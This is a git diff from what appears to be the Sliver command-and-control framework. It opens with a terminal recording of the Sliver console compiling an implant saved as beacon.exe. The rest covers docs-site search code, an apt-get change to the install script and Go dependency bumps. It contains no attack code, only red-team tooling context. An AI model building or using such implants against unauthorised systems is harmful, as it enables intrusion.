+[93.380592, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[93.480997, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[93.581411, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[93.681811, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[93.782218, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[93.882638, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[93.983044, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[94.083439, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[94.183863, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[94.284275, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[94.384703, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[94.485188, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[94.585644, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[94.686046, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[94.786429, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[94.886842, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[94.987291, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[95.087728, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[95.188065, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[95.288423, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[95.388823, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[95.489225, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[95.589663, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[95.690088, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[95.790472, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[95.890891, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[95.991311, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[96.091792, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[96.192298, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[96.292733, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[96.39317, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[96.493548, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[96.594032, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[96.69446, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[96.794901, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[96.89533, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[96.995767, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[97.072858, "o", "\r\u001b[2K"]
+[97.073391, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBuild completed in 1m21s\r\n"]
+[97.105542, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /home/kali/beacon.exe\r\n\r\n"]
+[97.105801, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
+[102.528753, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0me"]
+[102.796622, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mex"]
+[102.829259, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexi"]
+[102.942614, "o", "\u001b[J\u001b[2K\r"]
+[102.942731, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit"]
+[104.18718, "o", "\u001b[?2004l\r\r\n"]
diff --git a/docs/sliver-docs/public/images/cursed-1.png b/docs/sliver-docs/public/images/cursed-1.png
new file mode 100644
index 0000000000..a4a40396bc
Binary files /dev/null and b/docs/sliver-docs/public/images/cursed-1.png differ
diff --git a/docs/sliver-docs/public/images/dns-c2-1.png b/docs/sliver-docs/public/images/dns-c2-1.png
new file mode 100644
index 0000000000..85cd40e45e
Binary files /dev/null and b/docs/sliver-docs/public/images/dns-c2-1.png differ
diff --git a/docs/sliver-docs/public/install b/docs/sliver-docs/public/install
index 5fc7891609..2f8df8176d 100644
--- a/docs/sliver-docs/public/install
+++ b/docs/sliver-docs/public/install
@@ -10,12 +10,12 @@ fi
# Determine OS type
# Debian-based OS (Debian, Ubuntu, etc)
-if command -v apt &> /dev/null; then
+if command -v apt-get &> /dev/null; then
echo "Installing dependencies using apt..."
- DEBIAN_FRONTEND=noninteractive apt install -yqq \
+ DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
gpg curl build-essential git \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
- INSTALLER=(apt install -yqq)
+ INSTALLER=(apt-get install -yqq)
elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL)
echo "Installing dependencies using yum..."
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
diff --git a/docs/sliver-docs/util/docs.ts b/docs/sliver-docs/util/docs.ts
new file mode 100644
index 0000000000..5f3661210d
--- /dev/null
+++ b/docs/sliver-docs/util/docs.ts
@@ -0,0 +1,8 @@
+export type Doc = {
+ name: string;
+ content: string;
+};
+
+export type Docs = {
+ docs: Doc[];
+};
\ No newline at end of file
diff --git a/docs/sliver-docs/util/search-context.ts b/docs/sliver-docs/util/search-context.ts
new file mode 100644
index 0000000000..5f20e87965
--- /dev/null
+++ b/docs/sliver-docs/util/search-context.ts
@@ -0,0 +1,40 @@
+import lunr from "lunr";
+import React from "react";
+import { Doc, Docs } from "./docs";
+
+
+export class SearchCtx {
+
+ private _docs: Docs = { docs: [] };
+ private _docsIndex: lunr.Index;
+
+ constructor() {
+ this._docsIndex = lunr(function () {
+ this.ref("name");
+ this.field("content");
+ });
+ }
+
+ public searchDocs = (query: string): Doc[] => {
+ const results = this._docsIndex.search(query);
+ const docs = results.map((result) => {
+ return this._docs.docs.find((doc) => doc.name === result.ref);
+ });
+ return docs.filter((doc) => doc !== undefined) as Doc[];
+ }
+
+ public addDocs = (docs: Docs) => {
+ this._docs = docs;
+ this._docsIndex = lunr(function () {
+ this.ref("name");
+ this.field("content");
+ docs.docs.forEach((doc) => {
+ this.add(doc);
+ });
+ });
+ }
+
+}
+
+export const SearchContext = React.createContext(new SearchCtx());
+export const useSearchContext = () => React.useContext(SearchContext);
diff --git a/go.mod b/go.mod
index c102ccbad3..9a81f65602 100644
--- a/go.mod
+++ b/go.mod
@@ -4,8 +4,6 @@ go 1.21.1
toolchain go1.21.4
-replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca
-
require (
filippo.io/age v1.1.1
github.com/AlecAivazis/survey/v2 v2.3.7
@@ -25,6 +23,7 @@ require (
github.com/gorilla/mux v1.8.1
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
github.com/jedib0t/go-pretty/v6 v6.4.6
+ github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/klauspost/compress v1.17.0
github.com/lesnuages/go-winio v0.4.19
@@ -33,23 +32,24 @@ require (
github.com/miekg/dns v1.1.57
github.com/moloch--/asciicast v0.1.0
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
- github.com/ncruces/go-sqlite3 v0.7.2
- github.com/reeflective/console v0.1.6
- github.com/reeflective/readline v1.0.11
- github.com/rsteube/carapace v0.36.3
+ github.com/ncruces/go-sqlite3 v0.8.4
+ github.com/reeflective/console v0.1.15
+ github.com/reeflective/readline v1.0.13
+ github.com/reeflective/team v0.1.2
+ github.com/rsteube/carapace v0.47.5
github.com/sirupsen/logrus v1.9.3
github.com/spf13/cobra v1.8.0
github.com/spf13/pflag v1.0.5
github.com/stretchr/testify v1.8.4
- github.com/tetratelabs/wazero v1.3.1
+ github.com/tetratelabs/wazero v1.4.0
github.com/things-go/go-socks5 v0.0.3
github.com/xlab/treeprint v1.2.0
github.com/yiya1989/sshkrb5 v0.0.1
- golang.org/x/crypto v0.15.0
- golang.org/x/exp v0.0.0-20230905200255-921286631fa9
- golang.org/x/net v0.17.0
- golang.org/x/sys v0.14.0
- golang.org/x/term v0.14.0
+ golang.org/x/crypto v0.17.0
+ golang.org/x/exp v0.0.0-20231219180239-dc181d75b848
+ golang.org/x/net v0.19.0
+ golang.org/x/sys v0.15.0
+ golang.org/x/term v0.15.0
golang.org/x/text v0.14.0
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
@@ -130,7 +130,6 @@ require (
github.com/josharian/intern v1.0.0 // indirect
github.com/josharian/native v1.1.1-0.20230202152459-5c7d0dd6ab86 // indirect
github.com/jsimonetti/rtnetlink v1.3.5 // indirect
- github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mailru/easyjson v0.7.7 // indirect
@@ -143,12 +142,15 @@ require (
github.com/mdlayher/socket v0.5.0 // indirect
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect
github.com/mitchellh/go-ps v1.0.0 // indirect
+ github.com/ncruces/go-sqlite3/gormlite v0.8.4 // indirect
github.com/ncruces/julianday v0.1.5 // indirect
github.com/pierrec/lz4/v4 v4.1.18 // indirect
github.com/pkg/errors v0.9.1 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
+ github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e // indirect
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
github.com/rivo/uniseg v0.4.4 // indirect
+ github.com/rsteube/carapace-shlex v0.1.1 // indirect
github.com/safchain/ethtool v0.3.0 // indirect
github.com/tailscale/certstore v0.1.1-0.20231020161753-77811a65f4ff // indirect
github.com/tailscale/go-winio v0.0.0-20231025203758-c4f33415bf55 // indirect
@@ -166,10 +168,10 @@ require (
github.com/x448/float16 v0.8.4 // indirect
go4.org/mem v0.0.0-20220726221520-4f986261bf13 // indirect
go4.org/netipx v0.0.0-20230824141953-6213f710f925 // indirect
- golang.org/x/mod v0.13.0 // indirect
- golang.org/x/sync v0.4.0 // indirect
+ golang.org/x/mod v0.14.0 // indirect
+ golang.org/x/sync v0.5.0 // indirect
golang.org/x/time v0.3.0 // indirect
- golang.org/x/tools v0.14.0 // indirect
+ golang.org/x/tools v0.16.0 // indirect
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
golang.zx2c4.com/wireguard/windows v0.5.3 // indirect
google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect
@@ -189,5 +191,6 @@ require (
modernc.org/opt v0.1.3 // indirect
modernc.org/strutil v1.1.3 // indirect
modernc.org/token v1.0.1 // indirect
+ mvdan.cc/sh/v3 v3.7.0 // indirect
nhooyr.io/websocket v1.8.7 // indirect
)
diff --git a/go.sum b/go.sum
index bf1c8bd268..3a76884adc 100644
--- a/go.sum
+++ b/go.sum
@@ -99,7 +99,6 @@ github.com/coreos/go-iptables v0.7.0 h1:XWM3V+MPRr5/q51NuWSgU0fqMad64Zyxs8ZUoMsa
github.com/coreos/go-iptables v0.7.0/go.mod h1:Qe8Bv2Xik5FyTXwgIbLAnv2sWSBmvWdFETJConOQ//Q=
github.com/coreos/go-systemd/v22 v22.5.0 h1:RrqgGjYQKalulkV8NGVIfkXQf6YYmOyiJKk8iXXhfZs=
github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
-github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY=
@@ -185,6 +184,7 @@ github.com/google/btree v1.1.2 h1:xf4v41cLI2Z6FxbKm+8Bu+m8ifhj15JuZ9sa0jZCMUU=
github.com/google/btree v1.1.2/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4=
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE=
@@ -329,8 +329,10 @@ github.com/moloch--/asciicast v0.1.0 h1:eBOJwuFKSk447s/kPs9MWsc4kAl5HmuKIDLDYD6/
github.com/moloch--/asciicast v0.1.0/go.mod h1:OckO16UDLgxVLclrCnbocL1ix15Br/8Xv/caBoYq98o=
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
-github.com/ncruces/go-sqlite3 v0.7.2 h1:K7jU4rnUxFdUsbEL+B0Xc+VexLTEwGSO6Qh91Qh4hYc=
-github.com/ncruces/go-sqlite3 v0.7.2/go.mod h1:t3dP4AP9rJddU+ffFv0h6fWyeOCEhjxrYc1nsYG7aQI=
+github.com/ncruces/go-sqlite3 v0.8.4 h1:nizhgJMMJJBrthESCwF30+oOvQkdtizgJ/v35Y0v+vg=
+github.com/ncruces/go-sqlite3 v0.8.4/go.mod h1:XvDtjKk5MgwHX7L4I7BPzzKl36bTZ7+Hr6Kr2QeVkVw=
+github.com/ncruces/go-sqlite3/gormlite v0.8.4 h1:omeGR0XofGGwlbWB5QSEdPQC0j58fDEULrVMLXTIt+M=
+github.com/ncruces/go-sqlite3/gormlite v0.8.4/go.mod h1:52uZNxrd8iQVjmxE6l3Dt71zoHpwnoDDFIqB1wW1+Cg=
github.com/ncruces/julianday v0.1.5 h1:hDJ9ejiMp3DHsoZ5KW4c1lwfMjbARS7u/gbYcd0FBZk=
github.com/ncruces/julianday v0.1.5/go.mod h1:Dusn2KvZrrovOMJuOt0TNXL6tB7U2E8kvza5fFc9G7g=
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
@@ -348,12 +350,14 @@ github.com/pkg/sftp v1.13.6/go.mod h1:tz1ryNURKu77RL+GuCzmoJYxQczL3wLNNpPWagdg4Q
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
-github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca h1:tD797h1qmNtS/2z6Y7EtIg7OXEDaoSuULsUoksEepmQ=
-github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc=
-github.com/reeflective/console v0.1.6 h1:BhhvQU/m8QOpaIRzrXfwcbtkGQJX9jVR5qIqAy/Mcuw=
-github.com/reeflective/console v0.1.6/go.mod h1:7owTBE9k2lg2QpVw7g4DrK1HxEgr/5DQCmA3O2Znoek=
-github.com/reeflective/readline v1.0.11 h1:4+aiebj7a89hTRJOMM98H+md1Kxu+v1XkfdCs0n6odQ=
-github.com/reeflective/readline v1.0.11/go.mod h1:mcD0HxNVJVteVwDm9caXKg52nQACVyfh8EyuBmgVlzY=
+github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e h1:51xcRlSMBU5rhM9KahnJGfEsBPVPz3182TgFRowA8yY=
+github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e/go.mod h1:tcaRap0jS3eifrEEllL6ZMd9dg8IlDpi2S1oARrQ+NI=
+github.com/reeflective/console v0.1.15 h1:r4M1a19s882znSO5Zkj7memsLSDTLT/0fZwdNzhIldE=
+github.com/reeflective/console v0.1.15/go.mod h1:U2i+gzsZ5mT9LZHLzoeuOJ7BtcyXy7l+psRZSu4zmQU=
+github.com/reeflective/readline v1.0.13 h1:TeJmYw9B7VRPZWfNExr9QHxL1m0iSicyqBSQIRn39Ss=
+github.com/reeflective/readline v1.0.13/go.mod h1:3iOe/qyb2jEy0KqLrNlb/CojBVqxga9ACqz/VU22H6A=
+github.com/reeflective/team v0.1.2 h1:g3Cy5fbM0JzuxSNCvzY9DDytYxFqFSCLlWumKmzB35M=
+github.com/reeflective/team v0.1.2/go.mod h1:1U0RS3dwou/HbqUK4mgmBEU4+qe1oEuI3TCYcMQbkNI=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
@@ -361,6 +365,10 @@ github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis=
github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M=
github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA=
+github.com/rsteube/carapace v0.47.5 h1:4S4F4+kSgbxDbA1RWMVUO6JNB62DUB/twblwG/jRgj0=
+github.com/rsteube/carapace v0.47.5/go.mod h1:4ZC5bulItu9t9sZ5yPcHgPREd8rPf274Q732n+wfl/o=
+github.com/rsteube/carapace-shlex v0.1.1 h1:fRQEBBKyYKm4TXUabm4tzH904iFWSmXJl3UZhMfQNYU=
+github.com/rsteube/carapace-shlex v0.1.1/go.mod h1:zPw1dOFwvLPKStUy9g2BYKanI6bsQMATzDMYQQybo3o=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/safchain/ethtool v0.3.0 h1:gimQJpsI6sc1yIqP/y8GYgiXn/NjgvpM0RNoWLVVmP0=
github.com/safchain/ethtool v0.3.0/go.mod h1:SA9BwrgyAqNo7M+uaL6IYbxpm5wk3L7Mm6ocLW+CJUs=
@@ -368,7 +376,6 @@ github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6Mwd
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ=
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
-github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0=
github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0=
github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
@@ -404,8 +411,8 @@ github.com/tailscale/wireguard-go v0.0.0-20231101022006-db7604d1aa90 h1:lMGYrokO
github.com/tailscale/wireguard-go v0.0.0-20231101022006-db7604d1aa90/go.mod h1:BOm5fXUBFM+m9woLNBoxI9TaBXXhGNP50LX/TGIvGb4=
github.com/tcnksm/go-httpstat v0.2.0 h1:rP7T5e5U2HfmOBmZzGgGZjBQ5/GluWUylujl0tJ04I0=
github.com/tcnksm/go-httpstat v0.2.0/go.mod h1:s3JVJFtQxtBEBC9dwcdTTXS9xFnM3SXAZwPG41aurT8=
-github.com/tetratelabs/wazero v1.3.1 h1:rnb9FgOEQRLLR8tgoD1mfjNjMhFeWRUk+a4b4j/GpUM=
-github.com/tetratelabs/wazero v1.3.1/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ=
+github.com/tetratelabs/wazero v1.4.0 h1:9/MirYvmkJ/zSUOygKY/ia3t+e+RqIZXKbylIby1WYk=
+github.com/tetratelabs/wazero v1.4.0/go.mod h1:0U0G41+ochRKoPKCJlh0jMg1CHkyfK8kDqiirMmKY8A=
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
github.com/things-go/go-socks5 v0.0.3 h1:QtlIhkwDuLNCwW3wnt2uTjn1mQzpyjnwct2xdPuqroI=
@@ -448,11 +455,11 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
-golang.org/x/crypto v0.15.0 h1:frVn1TEaCEaZcn3Tmd7Y2b5KKPaZ+I32Q2OA3kYp5TA=
-golang.org/x/crypto v0.15.0/go.mod h1:4ChreQoLWfG3xLDer1WdlH5NdlQ3+mwnQq1YTKY+72g=
+golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k=
+golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
-golang.org/x/exp v0.0.0-20230905200255-921286631fa9 h1:GoHiUyI/Tp2nVkLI2mCxVkOjsbSXD66ic0XW0js0R9g=
-golang.org/x/exp v0.0.0-20230905200255-921286631fa9/go.mod h1:S2oDrQGGwySpoQPVqRShND87VCbxmc6bL1Yd2oYrm6k=
+golang.org/x/exp v0.0.0-20231219180239-dc181d75b848 h1:+iq7lrkxmFNBM7xx+Rae2W6uyPfhPeDWD+n+JgppptE=
+golang.org/x/exp v0.0.0-20231219180239-dc181d75b848/go.mod h1:iRJReGqOEeBhDZGkGbynYwcHlctCvnjTYIamk7uXpHI=
golang.org/x/exp/typeparams v0.0.0-20230905200255-921286631fa9 h1:j3D9DvWRpUfIyFfDPws7LoIZ2MAI1OJHdQXtTnYtN+k=
golang.org/x/exp/typeparams v0.0.0-20230905200255-921286631fa9/go.mod h1:AbB0pIl9nAr9wVwH+Z2ZpaocVmF5I4GyWCDIsVjR0bk=
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
@@ -462,8 +469,8 @@ golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHl
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
-golang.org/x/mod v0.13.0 h1:I/DsJXRlw/8l/0c24sM9yb0T4z9liZTduXvdAWYiysY=
-golang.org/x/mod v0.13.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
+golang.org/x/mod v0.14.0 h1:dGoOF9QVLYng8IHTm7BAyWqCqSheQ5pYWGhzW00YJr0=
+golang.org/x/mod v0.14.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
@@ -478,8 +485,8 @@ golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qx
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
-golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
-golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
+golang.org/x/net v0.19.0 h1:zTwKpTd2XuCqf8huc7Fo2iSy+4RHPd10s4KzeTnVr1c=
+golang.org/x/net v0.19.0/go.mod h1:CfAk/cbD4CthTvqiEl8NpboMuiuOYsAr/7NOjZJtv1U=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.12.0 h1:smVPGxink+n1ZI5pkQa8y6fZT0RW0MgCO5bFpepy4B4=
golang.org/x/oauth2 v0.12.0/go.mod h1:A74bZ3aGXgCY0qaIC9Ahg6Lglin4AMAco8cIv9baba4=
@@ -490,8 +497,8 @@ golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJ
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sync v0.4.0 h1:zxkM55ReGkDlKSM+Fu41A+zmbZuaPVbGMzvvdUPznYQ=
-golang.org/x/sync v0.4.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
+golang.org/x/sync v0.5.0 h1:60k92dhOjHxJkrqnwsfl8KuaHbn/5dl0lUPUklKo3qE=
+golang.org/x/sync v0.5.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
